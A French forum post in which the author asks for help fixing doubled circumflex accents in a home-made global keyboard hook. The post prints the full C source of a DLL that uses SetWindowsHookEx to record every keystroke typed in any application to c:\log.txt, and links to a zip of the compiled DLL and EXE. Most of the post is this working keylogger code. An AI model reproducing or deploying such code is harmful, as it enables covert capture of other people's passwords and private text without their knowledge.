J'ai fait un programme simple dont le but est de faire un hook clavier global, et de tout mettre dans un fichier log.
Tout fonctionne, sauf une chose, les accents circonflexes ! En voulant obtenir ê, dans l'application hookée, j'obtiens ^^e et dans le log, ^e.
Je fais bien les return CallNextHookEx. Si je ne n'écris plus dans le fichier log, tout redevient normal. Peut-être que l'erreur vient de la fonction ToAscii ou GetKeyboardState. Il doit y avoir une modification toute simple à faire, mais je ne trouve pas !
Voilà ma source ( http://belzel.free.fr/hook.zip ), avec la DLL et l'EXE (pour DevCpp, mais ca doit marcher aussi avec Visual C). L'EXE crée un fichier c:\log.txt.
Voilà le code de la DLL :
//------------------------------------------------------------------------------
// INCLUDES
//------------------------------------------------------------------------------
#include <windows.h> // Header pour DevCpp
#include <stdio.h> // Header pour l'écriture dans un fichier
#include <time.h>
//------------------------------------------------------------------------------
// Constantes & Macros
//------------------------------------------------------------------------------
// A ajouter devant une fonction pour l'exporter ou l'importer
#define DLLEXPORT __declspec (dllexport)
#define DLLIMPORT __declspec (dllimport)
//------------------------------------------------------------------------------
// Variables Globales De La DLL
//------------------------------------------------------------------------------
HHOOK HKEYBOARD; // Hook Clavier
HINSTANCE HInst; // Handle d'intance de la DLL
FILE * logfic; // Fichier LOG
clock_t tpsBase; // Temps de base (point de départ)
char LastWindowText[256]; // Nom de la fenêtre
char FILENAME[256] = "c:\\log.txt"; // Chemin du log
//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
char ch;
BYTE KeyState[256]; // address of key-state array
WORD Char; // buffer for translated key
// On ne fait rien dans ce cas
if ( nCode < 0 || nCode == HC_NOREMOVE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
// Pour éviter les répétitions
// Bit 30 : Spécifie l'état précédent de la touche
if ( ((DWORD)lParam & 1<<30) != FALSE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
logfic = fopen ( FILENAME, "a+" );
switch(wParam)
{
case VK_BACK : fprintf ( logfic, "[BKSP]" ); break; // 0x08
case VK_TAB : fprintf ( logfic, "[TAB]" ); break; // 0x09
case VK_RETURN : fprintf ( logfic, "[ENTER]\n" );break; // 0x0D
case VK_SHIFT : break; // 0x10
case VK_CONTROL : fprintf ( logfic, "[CTRL]" ); break; // 0x11
case VK_MENU : fprintf ( logfic, "[ALT]" ); break; // 0x12
case VK_PAUSE : fprintf ( logfic, "[PAUSE]" ); break; // 0x13
case VK_CAPITAL : break; // 0x14
case VK_ESCAPE : break; // 0x1B
case VK_PRIOR : fprintf ( logfic, "[PGUP]" ); break; // 0x21
case VK_NEXT : fprintf ( logfic, "[PGDN]" ); break; // 0x22
case VK_END : fprintf ( logfic, "[END]" ); break; // 0x23
case VK_HOME : fprintf ( logfic, "[HOME]" ); break; // 0x24
case VK_LEFT : fprintf ( logfic, "[LEFT]" ); break; // 0x25
case VK_UP : fprintf ( logfic, "[UP]" ); break; // 0x26
case VK_RIGHT : fprintf ( logfic, "[RIGHT]" ); break; // 0x27
case VK_DOWN : fprintf ( logfic, "[DOWN]" ); break; // 0x28
case VK_SNAPSHOT: fprintf ( logfic, "[SNAP]" ); break; // 0x2C
case VK_INSERT : break; // 0x2D
case VK_DELETE : fprintf ( logfic, "[DEL]" ); break; // 0x2E
case VK_LWIN : fprintf ( logfic, "[LWIN]" ); break; // 0x5B
case VK_RWIN : fprintf ( logfic, "[RWIN]" ); break; // 0x5C
case VK_APPS : fprintf ( logfic, "[APPS]" ); break; // 0x5D
case VK_NUMPAD0 : fprintf ( logfic, "[NUM0]" ); break; // 0x60
case VK_NUMPAD1 : fprintf ( logfic, "[NUM1]" ); break; // 0x61
case VK_NUMPAD2 : fprintf ( logfic, "[NUM2]" ); break; // 0x62
case VK_NUMPAD3 : fprintf ( logfic, "[NUM3]" ); break; // 0x63
case VK_NUMPAD4 : fprintf ( logfic, "[NUM4]" ); break; // 0x64
case VK_NUMPAD5 : fprintf ( logfic, "[NUM5]" ); break; // 0x65
case VK_NUMPAD6 : fprintf ( logfic, "[NUM6]" ); break; // 0x66
case VK_NUMPAD7 : fprintf ( logfic, "[NUM7]" ); break; // 0x67
case VK_NUMPAD8 : fprintf ( logfic, "[NUM8]" ); break; // 0x68
case VK_NUMPAD9 : fprintf ( logfic, "[NUM9]" ); break; // 0x69
case VK_MULTIPLY: fprintf ( logfic, "*" ); break; // 0x6A
case VK_ADD : fprintf ( logfic, "+" ); break; // 0x6B
case VK_SUBTRACT: fprintf ( logfic, "-" ); break; // 0x6D
case VK_DECIMAL : fprintf ( logfic, "." ); break; // 0x6E
case VK_DIVIDE : fprintf ( logfic, "/" ); break; // 0x06
case VK_F1 : fprintf ( logfic, "[F1]" ); break; // 0x70
case VK_F2 : fprintf ( logfic, "[F2]" ); break; // 0x71
case VK_F3 : fprintf ( logfic, "[F3]" ); break; // 0x72
case VK_F4 : fprintf ( logfic, "[F4]" ); break; // 0x73
case VK_F5 : fprintf ( logfic, "[F5]" ); break; // 0x74
case VK_F6 : fprintf ( logfic, "[F6]" ); break; // 0x75
case VK_F7 : fprintf ( logfic, "[F7]" ); break; // 0x76
case VK_F8 : fprintf ( logfic, "[F8]" ); break; // 0x77
case VK_F9 : fprintf ( logfic, "[F9]" ); break; // 0x78
case VK_F10 : fprintf ( logfic, "[F10]" ); break; // 0x79
case VK_F11 : fprintf ( logfic, "[F11]" ); break; // 0x7A
case VK_F12 : fprintf ( logfic, "[F12]" ); break; // 0x7B
case VK_F13 : fprintf ( logfic, "[F13]" ); break; // 0x7C
case VK_F14 : fprintf ( logfic, "[F14]" ); break; // 0x7D
case VK_F15 : fprintf ( logfic, "[F15]" ); break; // 0x7E
case VK_F16 : fprintf ( logfic, "[F16]" ); break; // 0x7F
case VK_F17 : fprintf ( logfic, "[F17]" ); break; // 0x80
case VK_F18 : fprintf ( logfic, "[F18]" ); break; // 0x81
case VK_F19 : fprintf ( logfic, "[F19]" ); break; // 0x82
case VK_F20 : fprintf ( logfic, "[F20]" ); break; // 0x83
case VK_F21 : fprintf ( logfic, "[F21]" ); break; // 0x84
case VK_F22 : fprintf ( logfic, "[F22]" ); break; // 0x85
case VK_F23 : fprintf ( logfic, "[F23]" ); break; // 0x86
case VK_F24 : fprintf ( logfic, "[F24]" ); break; // 0x87
case VK_NUMLOCK : break; // 0x90
case VK_ATTN : break; // 0xF6
default:
GetKeyboardState ( KeyState );
ToAscii ( wParam, 0, KeyState, &Char, 0 );
ch = (char)Char;
fwrite ( &ch, sizeof(ch), 1, logfic );
break;
}
fclose ( logfic );
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}
//------------------------------------------------------------------------------
// Fonction principale d'Initialisation De La DLL
//------------------------------------------------------------------------------
// hinst : l'instance de notre programme
// raison : pourquoi notre DLL est utilisée
// reserv : non utilisé
// retourne vrai si l'opération s'est bien déroulé
//------------------------------------------------------------------------------
BOOL APIENTRY DllMain ( HINSTANCE hinst, DWORD raison, LPVOID reserv )
{
HInst = hinst;
return TRUE;
}
//------------------------------------------------------------------------------
// Initialisation Du Hook Clavier
//------------------------------------------------------------------------------
void DLLEXPORT InitHook ( void )
{
HKEYBOARD = SetWindowsHookEx ( WH_KEYBOARD, (HOOKPROC)KeyboardProc, HInst, 0);
}
//------------------------------------------------------------------------------
// Terminaison Des Hooks
//------------------------------------------------------------------------------
void DLLEXPORT EndHook ( void )
{
UnhookWindowsHookEx ( HKEYBOARD );
}
BeLZeL